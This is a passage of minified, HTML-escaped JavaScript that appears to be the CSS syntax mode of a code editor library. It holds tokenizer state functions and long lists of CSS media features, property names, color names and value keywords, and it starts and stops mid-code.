0}function f(a){return function(b,c){for(var e,f=!1;null!=(e=b.next());){if(e==a&amp;&amp;!f){&quot;)&quot;==a&amp;&amp;b.backUp(1);break}f=!f&amp;&amp;&quot;\\&quot;==e}return(e==a||!f&amp;&amp;&quot;)&quot;!=a)&amp;&amp;(c.tokenize=null),d(&quot;string&quot;,&quot;string&quot;)}}function g(a,b){return a.next(),a.match(/\s*[\&quot;\&#039;)]/,!1)?b.tokenize=null:b.tokenize=f(&quot;)&quot;),d(null,&quot;(&quot;)}function h(a,b,c){this.type=a,this.indent=b,this.prev=c}function i(a,b,c,d){return a.context=new h(c,b.indentation()+(d===!1?0:q),a.context),c}function j(a){return a.context.prev&amp;&amp;(a.context=a.context.prev),a.context.type}function k(a,b,c){return F[c.context.type](a,b,c)}function l(a,b,c,d){for(var e=d||1;e&gt;0;e--)c.context=c.context.prev;return k(a,b,c)}function m(a){var b=a.current().toLowerCase();p=B.hasOwnProperty(b)?&quot;atom&quot;:A.hasOwnProperty(b)?&quot;keyword&quot;:&quot;variable&quot;}var n=c.inline;c.propertyKeywords||(c=a.resolveMode(&quot;text/css&quot;));var o,p,q=b.indentUnit,r=c.tokenHooks,s=c.documentTypes||{},t=c.mediaTypes||{},u=c.mediaFeatures||{},v=c.mediaValueKeywords||{},w=c.propertyKeywords||{},x=c.nonStandardPropertyKeywords||{},y=c.fontProperties||{},z=c.counterDescriptors||{},A=c.colorKeywords||{},B=c.valueKeywords||{},C=c.allowNested,D=c.lineComment,E=c.supportsAtComponent===!0,F={};return F.top=function(a,b,c){if(&quot;{&quot;==a)return i(c,b,&quot;block&quot;);if(&quot;}&quot;==a&amp;&amp;c.context.prev)return j(c);if(E&amp;&amp;/@component/.test(a))return i(c,b,&quot;atComponentBlock&quot;);if(/^@(-moz-)?document$/.test(a))return i(c,b,&quot;documentTypes&quot;);if(/^@(media|supports|(-moz-)?document|import)$/.test(a))return i(c,b,&quot;atBlock&quot;);if(/^@(font-face|counter-style)/.test(a))return c.stateArg=a,&quot;restricted_atBlock_before&quot;;if(/^@(-(moz|ms|o|webkit)-)?keyframes$/.test(a))return&quot;keyframes&quot;;if(a&amp;&amp;&quot;@&quot;==a.charAt(0))return i(c,b,&quot;at&quot;);if(&quot;hash&quot;==a)p=&quot;builtin&quot;;else if(&quot;word&quot;==a)p=&quot;tag&quot;;else{if(&quot;variable-definition&quot;==a)return&quot;maybeprop&quot;;if(&quot;interpolation&quot;==a)return i(c,b,&quot;interpolation&quot;);if(&quot;:&quot;==a)return&quot;pseudo&quot;;if(C&amp;&amp;&quot;(&quot;==a)return i(c,b,&quot;parens&quot;)}return c.context.type},F.block=function(a,b,c){if(&quot;word&quot;==a){var d=b.current().toLowerCase();return w.hasOwnProperty(d)?(p=&quot;property&quot;,&quot;maybeprop&quot;):x.hasOwnProperty(d)?(p=&quot;string-2&quot;,&quot;maybeprop&quot;):C?(p=b.match(/^\s*:(?:\s|$)/,!1)?&quot;property&quot;:&quot;tag&quot;,&quot;block&quot;):(p+=&quot; error&quot;,&quot;maybeprop&quot;)}return&quot;meta&quot;==a?&quot;block&quot;:C||&quot;hash&quot;!=a&amp;&amp;&quot;qualifier&quot;!=a?F.top(a,b,c):(p=&quot;error&quot;,&quot;block&quot;)},F.maybeprop=function(a,b,c){return&quot;:&quot;==a?i(c,b,&quot;prop&quot;):k(a,b,c)},F.prop=function(a,b,c){if(&quot;;&quot;==a)return j(c);if(&quot;{&quot;==a&amp;&amp;C)return i(c,b,&quot;propBlock&quot;);if(&quot;}&quot;==a||&quot;{&quot;==a)return l(a,b,c);if(&quot;(&quot;==a)return i(c,b,&quot;parens&quot;);if(&quot;hash&quot;!=a||/^#([0-9a-fA-f]{3,4}|[0-9a-fA-f]{6}|[0-9a-fA-f]{8})$/.test(b.current())){if(&quot;word&quot;==a)m(b);else if(&quot;interpolation&quot;==a)return i(c,b,&quot;interpolation&quot;)}else p+=&quot; error&quot;;return&quot;prop&quot;},F.propBlock=function(a,b,c){return&quot;}&quot;==a?j(c):&quot;word&quot;==a?(p=&quot;property&quot;,&quot;maybeprop&quot;):c.context.type},F.parens=function(a,b,c){return&quot;{&quot;==a||&quot;}&quot;==a?l(a,b,c):&quot;)&quot;==a?j(c):&quot;(&quot;==a?i(c,b,&quot;parens&quot;):&quot;interpolation&quot;==a?i(c,b,&quot;interpolation&quot;):(&quot;word&quot;==a&amp;&amp;m(b),&quot;parens&quot;)},F.pseudo=function(a,b,c){return&quot;meta&quot;==a?&quot;pseudo&quot;:&quot;word&quot;==a?(p=&quot;variable-3&quot;,c.context.type):k(a,b,c)},F.documentTypes=function(a,b,c){return&quot;word&quot;==a&amp;&amp;s.hasOwnProperty(b.current())?(p=&quot;tag&quot;,c.context.type):F.atBlock(a,b,c)},F.atBlock=function(a,b,c){if(&quot;(&quot;==a)return i(c,b,&quot;atBlock_parens&quot;);if(&quot;}&quot;==a||&quot;;&quot;==a)return l(a,b,c);if(&quot;{&quot;==a)return j(c)&amp;&amp;i(c,b,C?&quot;block&quot;:&quot;top&quot;);if(&quot;interpolation&quot;==a)return i(c,b,&quot;interpolation&quot;);if(&quot;word&quot;==a){var d=b.current().toLowerCase();p=&quot;only&quot;==d||&quot;not&quot;==d||&quot;and&quot;==d||&quot;or&quot;==d?&quot;keyword&quot;:t.hasOwnProperty(d)?&quot;attribute&quot;:u.hasOwnProperty(d)?&quot;property&quot;:v.hasOwnProperty(d)?&quot;keyword&quot;:w.hasOwnProperty(d)?&quot;property&quot;:x.hasOwnProperty(d)?&quot;string-2&quot;:B.hasOwnProperty(d)?&quot;atom&quot;:A.hasOwnProperty(d)?&quot;keyword&quot;:&quot;error&quot;}return c.context.type},F.atComponentBlock=function(a,b,c){return&quot;}&quot;==a?l(a,b,c):&quot;{&quot;==a?j(c)&amp;&amp;i(c,b,C?&quot;block&quot;:&quot;top&quot;,!1):(&quot;word&quot;==a&amp;&amp;(p=&quot;error&quot;),c.context.type)},F.atBlock_parens=function(a,b,c){return&quot;)&quot;==a?j(c):&quot;{&quot;==a||&quot;}&quot;==a?l(a,b,c,2):F.atBlock(a,b,c)},F.restricted_atBlock_before=function(a,b,c){return&quot;{&quot;==a?i(c,b,&quot;restricted_atBlock&quot;):&quot;word&quot;==a&amp;&amp;&quot;@counter-style&quot;==c.stateArg?(p=&quot;variable&quot;,&quot;restricted_atBlock_before&quot;):k(a,b,c)},F.restricted_atBlock=function(a,b,c){return&quot;}&quot;==a?(c.stateArg=null,j(c)):&quot;word&quot;==a?(p=&quot;@font-face&quot;==c.stateArg&amp;&amp;!y.hasOwnProperty(b.current().toLowerCase())||&quot;@counter-style&quot;==c.stateArg&amp;&amp;!z.hasOwnProperty(b.current().toLowerCase())?&quot;error&quot;:&quot;property&quot;,&quot;maybeprop&quot;):&quot;restricted_atBlock&quot;},F.keyframes=function(a,b,c){return&quot;word&quot;==a?(p=&quot;variable&quot;,&quot;keyframes&quot;):&quot;{&quot;==a?i(c,b,&quot;top&quot;):k(a,b,c)},F.at=function(a,b,c){return&quot;;&quot;==a?j(c):&quot;{&quot;==a||&quot;}&quot;==a?l(a,b,c):(&quot;word&quot;==a?p=&quot;tag&quot;:&quot;hash&quot;==a&amp;&amp;(p=&quot;builtin&quot;),&quot;at&quot;)},F.interpolation=function(a,b,c){return&quot;}&quot;==a?j(c):&quot;{&quot;==a||&quot;;&quot;==a?l(a,b,c):(&quot;word&quot;==a?p=&quot;variable&quot;:&quot;variable&quot;!=a&amp;&amp;&quot;(&quot;!=a&amp;&amp;&quot;)&quot;!=a&amp;&amp;(p=&quot;error&quot;),&quot;interpolation&quot;)},{startState:function(a){return{tokenize:null,state:n?&quot;block&quot;:&quot;top&quot;,stateArg:null,context:new h(n?&quot;block&quot;:&quot;top&quot;,a||0,null)}},token:function(a,b){if(!b.tokenize&amp;&amp;a.eatSpace())return null;var c=(b.tokenize||e)(a,b);return c&amp;&amp;&quot;object&quot;==typeof c&amp;&amp;(o=c[1],c=c[0]),p=c,&quot;comment&quot;!=o&amp;&amp;(b.state=F[b.state](o,a,b)),p},indent:function(a,b){var c=a.context,d=b&amp;&amp;b.charAt(0),e=c.indent;return&quot;prop&quot;!=c.type||&quot;}&quot;!=d&amp;&amp;&quot;)&quot;!=d||(c=c.prev),c.prev&amp;&amp;(&quot;}&quot;!=d||&quot;block&quot;!=c.type&amp;&amp;&quot;top&quot;!=c.type&amp;&amp;&quot;interpolation&quot;!=c.type&amp;&amp;&quot;restricted_atBlock&quot;!=c.type?(&quot;)&quot;!=d||&quot;parens&quot;!=c.type&amp;&amp;&quot;atBlock_parens&quot;!=c.type)&amp;&amp;(&quot;{&quot;!=d||&quot;at&quot;!=c.type&amp;&amp;&quot;atBlock&quot;!=c.type)||(e=Math.max(0,c.indent-q)):(c=c.prev,e=c.indent)),e},electricChars:&quot;}&quot;,blockCommentStart:&quot;/*&quot;,blockCommentEnd:&quot;*/&quot;,lineComment:D,fold:&quot;brace&quot;}});var d=[&quot;domain&quot;,&quot;regexp&quot;,&quot;url&quot;,&quot;url-prefix&quot;],e=b(d),f=[&quot;all&quot;,&quot;aural&quot;,&quot;braille&quot;,&quot;handheld&quot;,&quot;print&quot;,&quot;projection&quot;,&quot;screen&quot;,&quot;tty&quot;,&quot;tv&quot;,&quot;embossed&quot;],g=b(f),h=[&quot;width&quot;,&quot;min-width&quot;,&quot;max-width&quot;,&quot;height&quot;,&quot;min-height&quot;,&quot;max-height&quot;,&quot;device-width&quot;,&quot;min-device-width&quot;,&quot;max-device-width&quot;,&quot;device-height&quot;,&quot;min-device-height&quot;,&quot;max-device-height&quot;,&quot;aspect-ratio&quot;,&quot;min-aspect-ratio&quot;,&quot;max-aspect-ratio&quot;,&quot;device-aspect-ratio&quot;,&quot;min-device-aspect-ratio&quot;,&quot;max-device-aspect-ratio&quot;,&quot;color&quot;,&quot;min-color&quot;,&quot;max-color&quot;,&quot;color-index&quot;,&quot;min-color-index&quot;,&quot;max-color-index&quot;,&quot;monochrome&quot;,&quot;min-monochrome&quot;,&quot;max-monochrome&quot;,&quot;resolution&quot;,&quot;min-resolution&quot;,&quot;max-resolution&quot;,&quot;scan&quot;,&quot;grid&quot;,&quot;orientation&quot;,&quot;device-pixel-ratio&quot;,&quot;min-device-pixel-ratio&quot;,&quot;max-device-pixel-ratio&quot;,&quot;pointer&quot;,&quot;any-pointer&quot;,&quot;hover&quot;,&quot;any-hover&quot;],i=b(h),j=[&quot;landscape&quot;,&quot;portrait&quot;,&quot;none&quot;,&quot;coarse&quot;,&quot;fine&quot;,&quot;on-demand&quot;,&quot;hover&quot;,&quot;interlace&quot;,&quot;progressive&quot;],k=b(j),l=[&quot;align-content&quot;,&quot;align-items&quot;,&quot;align-self&quot;,&quot;alignment-adjust&quot;,&quot;alignment-baseline&quot;,&quot;anchor-point&quot;,&quot;animation&quot;,&quot;animation-delay&quot;,&quot;animation-direction&quot;,&quot;animation-duration&quot;,&quot;animation-fill-mode&quot;,&quot;animation-iteration-count&quot;,&quot;animation-name&quot;,&quot;animation-play-state&quot;,&quot;animation-timing-function&quot;,&quot;appearance&quot;,&quot;azimuth&quot;,&quot;backface-visibility&quot;,&quot;background&quot;,&quot;background-attachment&quot;,&quot;background-blend-mode&quot;,&quot;background-clip&quot;,&quot;background-color&quot;,&quot;background-image&quot;,&quot;background-origin&quot;,&quot;background-position&quot;,&quot;background-repeat&quot;,&quot;background-size&quot;,&quot;baseline-shift&quot;,&quot;binding&quot;,&quot;bleed&quot;,&quot;bookmark-label&quot;,&quot;bookmark-level&quot;,&quot;bookmark-state&quot;,&quot;bookmark-target&quot;,&quot;border&quot;,&quot;border-bottom&quot;,&quot;border-bottom-color&quot;,&quot;border-bottom-left-radius&quot;,&quot;border-bottom-right-radius&quot;,&quot;border-bottom-style&quot;,&quot;border-bottom-width&quot;,&quot;border-collapse&quot;,&quot;border-color&quot;,&quot;border-image&quot;,&quot;border-image-outset&quot;,&quot;border-image-repeat&quot;,&quot;border-image-slice&quot;,&quot;border-image-source&quot;,&quot;border-image-width&quot;,&quot;border-left&quot;,&quot;border-left-color&quot;,&quot;border-left-style&quot;,&quot;border-left-width&quot;,&quot;border-radius&quot;,&quot;border-right&quot;,&quot;border-right-color&quot;,&quot;border-right-style&quot;,&quot;border-right-width&quot;,&quot;border-spacing&quot;,&quot;border-style&quot;,&quot;border-top&quot;,&quot;border-top-color&quot;,&quot;border-top-left-radius&quot;,&quot;border-top-right-radius&quot;,&quot;border-top-style&quot;,&quot;border-top-width&quot;,&quot;border-width&quot;,&quot;bottom&quot;,&quot;box-decoration-break&quot;,&quot;box-shadow&quot;,&quot;box-sizing&quot;,&quot;break-after&quot;,&quot;break-before&quot;,&quot;break-inside&quot;,&quot;caption-side&quot;,&quot;caret-color&quot;,&quot;clear&quot;,&quot;clip&quot;,&quot;color&quot;,&quot;color-profile&quot;,&quot;column-count&quot;,&quot;column-fill&quot;,&quot;column-gap&quot;,&quot;column-rule&quot;,&quot;column-rule-color&quot;,&quot;column-rule-style&quot;,&quot;column-rule-width&quot;,&quot;column-span&quot;,&quot;column-width&quot;,&quot;columns&quot;,&quot;content&quot;,&quot;counter-increment&quot;,&quot;counter-reset&quot;,&quot;crop&quot;,&quot;cue&quot;,&quot;cue-after&quot;,&quot;cue-before&quot;,&quot;cursor&quot;,&quot;direction&quot;,&quot;display&quot;,&quot;dominant-baseline&quot;,&quot;drop-initial-after-adjust&quot;,&quot;drop-initial-after-align&quot;,&quot;drop-initial-before-adjust&quot;,&quot;drop-initial-before-align&quot;,&quot;drop-initial-size&quot;,&quot;drop-initial-value&quot;,&quot;elevation&quot;,&quot;empty-cells&quot;,&quot;fit&quot;,&quot;fit-position&quot;,&quot;flex&quot;,&quot;flex-basis&quot;,&quot;flex-direction&quot;,&quot;flex-flow&quot;,&quot;flex-grow&quot;,&quot;flex-shrink&quot;,&quot;flex-wrap&quot;,&quot;float&quot;,&quot;float-offset&quot;,&quot;flow-from&quot;,&quot;flow-into&quot;,&quot;font&quot;,&quot;font-feature-settings&quot;,&quot;font-family&quot;,&quot;font-kerning&quot;,&quot;font-language-override&quot;,&quot;font-size&quot;,&quot;font-size-adjust&quot;,&quot;font-stretch&quot;,&quot;font-style&quot;,&quot;font-synthesis&quot;,&quot;font-variant&quot;,&quot;font-variant-alternates&quot;,&quot;font-variant-caps&quot;,&quot;font-variant-east-asian&quot;,&quot;font-variant-ligatures&quot;,&quot;font-variant-numeric&quot;,&quot;font-variant-position&quot;,&quot;font-weight&quot;,&quot;grid&quot;,&quot;grid-area&quot;,&quot;grid-auto-columns&quot;,&quot;grid-auto-flow&quot;,&quot;grid-auto-rows&quot;,&quot;grid-column&quot;,&quot;grid-column-end&quot;,&quot;grid-column-gap&quot;,&quot;grid-column-start&quot;,&quot;grid-gap&quot;,&quot;grid-row&quot;,&quot;grid-row-end&quot;,&quot;grid-row-gap&quot;,&quot;grid-row-start&quot;,&quot;grid-template&quot;,&quot;grid-template-areas&quot;,&quot;grid-template-columns&quot;,&quot;grid-template-rows&quot;,&quot;hanging-punctuation&quot;,&quot;height&quot;,&quot;hyphens&quot;,&quot;icon&quot;,&quot;image-orientation&quot;,&quot;image-rendering&quot;,&quot;image-resolution&quot;,&quot;inline-box-align&quot;,&quot;justify-content&quot;,&quot;justify-items&quot;,&quot;justify-self&quot;,&quot;left&quot;,&quot;letter-spacing&quot;,&quot;line-break&quot;,&quot;line-height&quot;,&quot;line-stacking&quot;,&quot;line-stacking-ruby&quot;,&quot;line-stacking-shift&quot;,&quot;line-stacking-strategy&quot;,&quot;list-style&quot;,&quot;list-style-image&quot;,&quot;list-style-position&quot;,&quot;list-style-type&quot;,&quot;margin&quot;,&quot;margin-bottom&quot;,&quot;margin-left&quot;,&quot;margin-right&quot;,&quot;margin-top&quot;,&quot;marks&quot;,&quot;marquee-direction&quot;,&quot;marquee-loop&quot;,&quot;marquee-play-count&quot;,&quot;marquee-speed&quot;,&quot;marquee-style&quot;,&quot;max-height&quot;,&quot;max-width&quot;,&quot;min-height&quot;,&quot;min-width&quot;,&quot;move-to&quot;,&quot;nav-down&quot;,&quot;nav-index&quot;,&quot;nav-left&quot;,&quot;nav-right&quot;,&quot;nav-up&quot;,&quot;object-fit&quot;,&quot;object-position&quot;,&quot;opacity&quot;,&quot;order&quot;,&quot;orphans&quot;,&quot;outline&quot;,&quot;outline-color&quot;,&quot;outline-offset&quot;,&quot;outline-style&quot;,&quot;outline-width&quot;,&quot;overflow&quot;,&quot;overflow-style&quot;,&quot;overflow-wrap&quot;,&quot;overflow-x&quot;,&quot;overflow-y&quot;,&quot;padding&quot;,&quot;padding-bottom&quot;,&quot;padding-left&quot;,&quot;padding-right&quot;,&quot;padding-top&quot;,&quot;page&quot;,&quot;page-break-after&quot;,&quot;page-break-before&quot;,&quot;page-break-inside&quot;,&quot;page-policy&quot;,&quot;pause&quot;,&quot;pause-after&quot;,&quot;pause-before&quot;,&quot;perspective&quot;,&quot;perspective-origin&quot;,&quot;pitch&quot;,&quot;pitch-range&quot;,&quot;place-content&quot;,&quot;place-items&quot;,&quot;place-self&quot;,&quot;play-during&quot;,&quot;position&quot;,&quot;presentation-level&quot;,&quot;punctuation-trim&quot;,&quot;quotes&quot;,&quot;region-break-after&quot;,&quot;region-break-before&quot;,&quot;region-break-inside&quot;,&quot;region-fragment&quot;,&quot;rendering-intent&quot;,&quot;resize&quot;,&quot;rest&quot;,&quot;rest-after&quot;,&quot;rest-before&quot;,&quot;richness&quot;,&quot;right&quot;,&quot;rotation&quot;,&quot;rotation-point&quot;,&quot;ruby-align&quot;,&quot;ruby-overhang&quot;,&quot;ruby-position&quot;,&quot;ruby-span&quot;,&quot;shape-image-threshold&quot;,&quot;shape-inside&quot;,&quot;shape-margin&quot;,&quot;shape-outside&quot;,&quot;size&quot;,&quot;speak&quot;,&quot;speak-as&quot;,&quot;speak-header&quot;,&quot;speak-numeral&quot;,&quot;speak-punctuation&quot;,&quot;speech-rate&quot;,&quot;stress&quot;,&quot;string-set&quot;,&quot;tab-size&quot;,&quot;table-layout&quot;,&quot;target&quot;,&quot;target-name&quot;,&quot;target-new&quot;,&quot;target-position&quot;,&quot;text-align&quot;,&quot;text-align-last&quot;,&quot;text-decoration&quot;,&quot;text-decoration-color&quot;,&quot;text-decoration-line&quot;,&quot;text-decoration-skip&quot;,&quot;text-decoration-style&quot;,&quot;text-emphasis&quot;,&quot;text-emphasis-color&quot;,&quot;text-emphasis-position&quot;,&quot;text-emphasis-style&quot;,&quot;text-height&quot;,&quot;text-indent&quot;,&quot;text-justify&quot;,&quot;text-outline&quot;,&quot;text-overflow&quot;,&quot;text-shadow&quot;,&quot;text-size-adjust&quot;,&quot;text-space-collapse&quot;,&quot;text-transform&quot;,&quot;text-underline-position&quot;,&quot;text-wrap&quot;,&quot;top&quot;,&quot;transform&quot;,&quot;transform-origin&quot;,&quot;transform-style&quot;,&quot;transition&quot;,&quot;transition-delay&quot;,&quot;transition-duration&quot;,&quot;transition-property&quot;,&quot;transition-timing-function&quot;,&quot;unicode-bidi&quot;,&quot;user-select&quot;,&quot;vertical-align&quot;,&quot;visibility&quot;,&quot;voice-balance&quot;,&quot;voice-duration&quot;,&quot;voice-family&quot;,&quot;voice-pitch&quot;,&quot;voice-range&quot;,&quot;voice-rate&quot;,&quot;voice-stress&quot;,&quot;voice-volume&quot;,&quot;volume&quot;,&quot;white-space&quot;,&quot;widows&quot;,&quot;width&quot;,&quot;will-change&quot;,&quot;word-break&quot;,&quot;word-spacing&quot;,&quot;word-wrap&quot;,&quot;z-index&quot;,&quot;clip-path&quot;,&quot;clip-rule&quot;,&quot;mask&quot;,&quot;enable-background&quot;,&quot;filter&quot;,&quot;flood-color&quot;,&quot;flood-opacity&quot;,&quot;lighting-color&quot;,&quot;stop-color&quot;,&quot;stop-opacity&quot;,&quot;pointer-events&quot;,&quot;color-interpolation&quot;,&quot;color-interpolation-filters&quot;,&quot;color-rendering&quot;,&quot;fill&quot;,&quot;fill-opacity&quot;,&quot;fill-rule&quot;,&quot;image-rendering&quot;,&quot;marker&quot;,&quot;marker-end&quot;,&quot;marker-mid&quot;,&quot;marker-start&quot;,&quot;shape-rendering&quot;,&quot;stroke&quot;,&quot;stroke-dasharray&quot;,&quot;stroke-dashoffset&quot;,&quot;stroke-linecap&quot;,&quot;stroke-linejoin&quot;,&quot;stroke-miterlimit&quot;,&quot;stroke-opacity&quot;,&quot;stroke-width&quot;,&quot;text-rendering&quot;,&quot;baseline-shift&quot;,&quot;dominant-baseline&quot;,&quot;glyph-orientation-horizontal&quot;,&quot;glyph-orientation-vertical&quot;,&quot;text-anchor&quot;,&quot;writing-mode&quot;],m=b(l),n=[&quot;scrollbar-arrow-color&quot;,&quot;scrollbar-base-color&quot;,&quot;scrollbar-dark-shadow-color&quot;,&quot;scrollbar-face-color&quot;,&quot;scrollbar-highlight-color&quot;,&quot;scrollbar-shadow-color&quot;,&quot;scrollbar-3d-light-color&quot;,&quot;scrollbar-track-color&quot;,&quot;shape-inside&quot;,&quot;searchfield-cancel-button&quot;,&quot;searchfield-decoration&quot;,&quot;searchfield-results-button&quot;,&quot;searchfield-results-decoration&quot;,&quot;zoom&quot;],o=b(n),p=[&quot;font-family&quot;,&quot;src&quot;,&quot;unicode-range&quot;,&quot;font-variant&quot;,&quot;font-feature-settings&quot;,&quot;font-stretch&quot;,&quot;font-weight&quot;,&quot;font-style&quot;],q=b(p),r=[&quot;additive-symbols&quot;,&quot;fallback&quot;,&quot;negative&quot;,&quot;pad&quot;,&quot;prefix&quot;,&quot;range&quot;,&quot;speak-as&quot;,&quot;suffix&quot;,&quot;symbols&quot;,&quot;system&quot;],s=b(r),t=[&quot;aliceblue&quot;,&quot;antiquewhite&quot;,&quot;aqua&quot;,&quot;aquamarine&quot;,&quot;azure&quot;,&quot;beige&quot;,&quot;bisque&quot;,&quot;black&quot;,&quot;blanchedalmond&quot;,&quot;blue&quot;,&quot;blueviolet&quot;,&quot;brown&quot;,&quot;burlywood&quot;,&quot;cadetblue&quot;,&quot;chartreuse&quot;,&quot;chocolate&quot;,&quot;coral&quot;,&quot;cornflowerblue&quot;,&quot;cornsilk&quot;,&quot;crimson&quot;,&quot;cyan&quot;,&quot;darkblue&quot;,&quot;darkcyan&quot;,&quot;darkgoldenrod&quot;,&quot;darkgray&quot;,&quot;darkgreen&quot;,&quot;darkkhaki&quot;,&quot;darkmagenta&quot;,&quot;darkolivegreen&quot;,&quot;darkorange&quot;,&quot;darkorchid&quot;,&quot;darkred&quot;,&quot;darksalmon&quot;,&quot;darkseagreen&quot;,&quot;darkslateblue&quot;,&quot;darkslategray&quot;,&quot;darkturquoise&quot;,&quot;darkviolet&quot;,&quot;deeppink&quot;,&quot;deepskyblue&quot;,&quot;dimgray&quot;,&quot;dodgerblue&quot;,&quot;firebrick&quot;,&quot;floralwhite&quot;,&quot;forestgreen&quot;,&quot;fuchsia&quot;,&quot;gainsboro&quot;,&quot;ghostwhite&quot;,&quot;gold&quot;,&quot;goldenrod&quot;,&quot;gray&quot;,&quot;grey&quot;,&quot;green&quot;,&quot;greenyellow&quot;,&quot;honeydew&quot;,&quot;hotpink&quot;,&quot;indianred&quot;,&quot;indigo&quot;,&quot;ivory&quot;,&quot;khaki&quot;,&quot;lavender&quot;,&quot;lavenderblush&quot;,&quot;lawngreen&quot;,&quot;lemonchiffon&quot;,&quot;lightblue&quot;,&quot;lightcoral&quot;,&quot;lightcyan&quot;,&quot;lightgoldenrodyellow&quot;,&quot;lightgray&quot;,&quot;lightgreen&quot;,&quot;lightpink&quot;,&quot;lightsalmon&quot;,&quot;lightseagreen&quot;,&quot;lightskyblue&quot;,&quot;lightslategray&quot;,&quot;lightsteelblue&quot;,&quot;lightyellow&quot;,&quot;lime&quot;,&quot;limegreen&quot;,&quot;linen&quot;,&quot;magenta&quot;,&quot;maroon&quot;,&quot;mediumaquamarine&quot;,&quot;mediumblue&quot;,&quot;mediumorchid&quot;,&quot;mediumpurple&quot;,&quot;mediumseagreen&quot;,&quot;mediumslateblue&quot;,&quot;mediumspringgreen&quot;,&quot;mediumturquoise&quot;,&quot;mediumvioletred&quot;,&quot;midnightblue&quot;,&quot;mintcream&quot;,&quot;mistyrose&quot;,&quot;moccasin&quot;,&quot;navajowhite&quot;,&quot;navy&quot;,&quot;oldlace&quot;,&quot;olive&quot;,&quot;olivedrab&quot;,&quot;orange&quot;,&quot;orangered&quot;,&quot;orchid&quot;,&quot;palegoldenrod&quot;,&quot;palegreen&quot;,&quot;paleturquoise&quot;,&quot;palevioletred&quot;,&quot;papayawhip&quot;,&quot;peachpuff&quot;,&quot;peru&quot;,&quot;pink&quot;,&quot;plum&quot;,&quot;powderblue&quot;,&quot;purple&quot;,&quot;rebeccapurple&quot;,&quot;red&quot;,&quot;rosybrown&quot;,&quot;royalblue&quot;,&quot;saddlebrown&quot;,&quot;salmon&quot;,&quot;sandybrown&quot;,&quot;seagreen&quot;,&quot;seashell&quot;,&quot;sienna&quot;,&quot;silver&quot;,&quot;skyblue&quot;,&quot;slateblue&quot;,&quot;slategray&quot;,&quot;snow&quot;,&quot;springgreen&quot;,&quot;steelblue&quot;,&quot;tan&quot;,&quot;teal&quot;,&quot;thistle&quot;,&quot;tomato&quot;,&quot;turquoise&quot;,&quot;violet&quot;,&quot;wheat&quot;,&quot;white&quot;,&quot;whitesmoke&quot;,&quot;yellow&quot;,&quot;yellowgreen&quot;],u=b(t),v=[&quot;above&quot;,&quot;absolute&quot;,&quot;activeborder&quot;,&quot;additive&quot;,&quot;activecaption&quot;,&quot;afar&quot;,&quot;after-white-space&quot;,&quot;ahead&quot;,&quot;alias&quot;,&quot;all&quot;,&quot;all-scroll&quot;,&quot;alphabetic&quot;,&quot;alternate&quot;,&quot;always&quot;,&quot;amharic&quot;,&quot;amharic-abegede&quot;,&quot;antialiased&quot;,&quot;appworkspace&quot;,&quot;arabic-indic&quot;,&quot;armenian&quot;,&quot;asterisks&quot;,&quot;attr&quot;,&quot;auto&quot;,&quot;auto-flow&quot;,&quot;avoid&quot;,&quot;avoid-column&quot;,&quot;avoid-page&quot;,&quot;avoid-region&quot;,&quot;background&quot;,&quot;backwards&quot;,&quot;baseline&quot;,&quot;below&quot;,&quot;bidi-override&quot;,&quot;binary&quot;,&quot;bengali&quot;,&quot;blink&quot;,&quot;block&quot;,&quot;block-axis&quot;,&quot;bold&quot;,&quot;bolder&quot;,&quot;border&quot;,&quot;border-box&quot;,&quot;both&quot;,&quot;bottom&quot;,&quot;break&quot;,&quot;break-all&quot;,&quot;break-word&quot;,&quot;bullets&quot;,&quot;button&quot;,&quot;button-bevel&quot;,&quot;buttonface&quot;,&quot;buttonhighlight&quot;,&quot;buttonshadow&quot;,&quot;buttontext&quot;,&quot;calc&quot;,&quot;cambodian&quot;,&quot;capitalize&quot;,&quot;caps-lock-indicator&quot;,&quot;caption&quot;,&quot;captiontext&quot;,&quot;caret&quot;,&quot;cell&quot;,&quot;center&quot;,&quot;checkbox&quot;,&quot;circle&quot;,&quot;cjk-decimal&quot;,&quot;cjk-earthly-branch&quot;,&quot;cjk-heavenly-stem&quot;,&quot;cjk-ideographic&quot;,&quot;clear&quot;,&quot;clip&quot;,&quot;close-quote&quot;,&quot;col-resize&quot;,&quot;collapse&quot;,&quot;color&quot;,&quot;color-burn&quot;,&quot;color-dodge&quot;,&quot;column&quot;,&quot;column-reverse&quot;,&quot;compact&quot;,&quot;condensed&quot;,&quot;contain&quot;,&quot;content&quot;,&quot;contents&quot;,&quot;content-box&quot;,&quot;context-menu&quot;,&quot;continuous&quot;,&quot;copy&quot;,&quot;counter&quot;,&quot;counters&quot;,&quot;cover&quot;,&quot;crop&quot;,&quot;cross&quot;,&quot;crosshair&quot;,&quot;currentcolor&quot;,&quot;cursive&quot;,&quot;cyclic&quot;,&quot;darken&quot;,&quot;dashed&quot;,&quot;decimal&quot;,&quot;decimal-leading-zero&quot;,&quot;default&quot;,&quot;default-button&quot;,&quot;dense&quot;,&quot;destination-atop&quot;,&quot;destination-in&quot;,&quot;destination-out&quot;,&quot;destination-over&quot;,&quot;devanagari&quot;,&quot;difference&quot;,&quot;disc&quot;,&quot;discard&quot;,&quot;disclosure-closed&quot;,&quot;disclosure-open&quot;,&quot;document&quot;,&quot;dot-dash&quot;,&quot;dot-dot-dash&quot;,&quot;dotted&quot;,&quot;double&quot;,&quot;down&quot;,&quot;e-resize&quot;,&quot;ease&quot;,&quot;ease-in&quot;,&quot;ease-in-out&quot;,&quot;ease-out&quot;,&quot;element&quot;,&quot;ellipse&quot;,&quot;ellipsis&quot;,&quot;embed&quot;,&quot;end&quot;,&quot;ethiopic&quot;,&quot;ethiopic-abegede&quot;,&quot;ethiopic-abegede-am-et&quot;,&quot;ethiopic-abegede-gez&quot;,&quot;ethiopic-abegede-ti-er&quot;,&quot;ethiopic-abegede-ti-et&quot;,&quot;ethiopic-halehame-aa-er&quot;,&quot;ethiopic-halehame-aa-et&quot;,&quot;ethiopic-halehame-am-et&quot;,&quot;ethiopic-halehame-gez&quot;,&quot;ethiopic-halehame-om-et&quot;,&quot;ethiopic-halehame-sid-et&quot;,&quot;ethiopic-halehame-so-et&quot;,&quot;ethiopic-halehame-ti-er&quot;,&quot;ethiopic-halehame-ti-et&quot;,&quot;ethiopic-halehame-tig&quot;,&quot;ethiopic-numeric&quot;,&quot;ew-resize&quot;,&quot;exclusion&quot;,&quot;expanded&quot;,&quot;extends&quot;,&quot;extra-condensed&quot;,&quot;extra-expanded&quot;,&quot;fantasy&quot;,&quot;fast&quot;,&quot;fill&quot;,&quot;fixed&quot;,&quot;flat&quot;,&quot;flex&quot;,&quot;flex-end&quot;,&quot;flex-s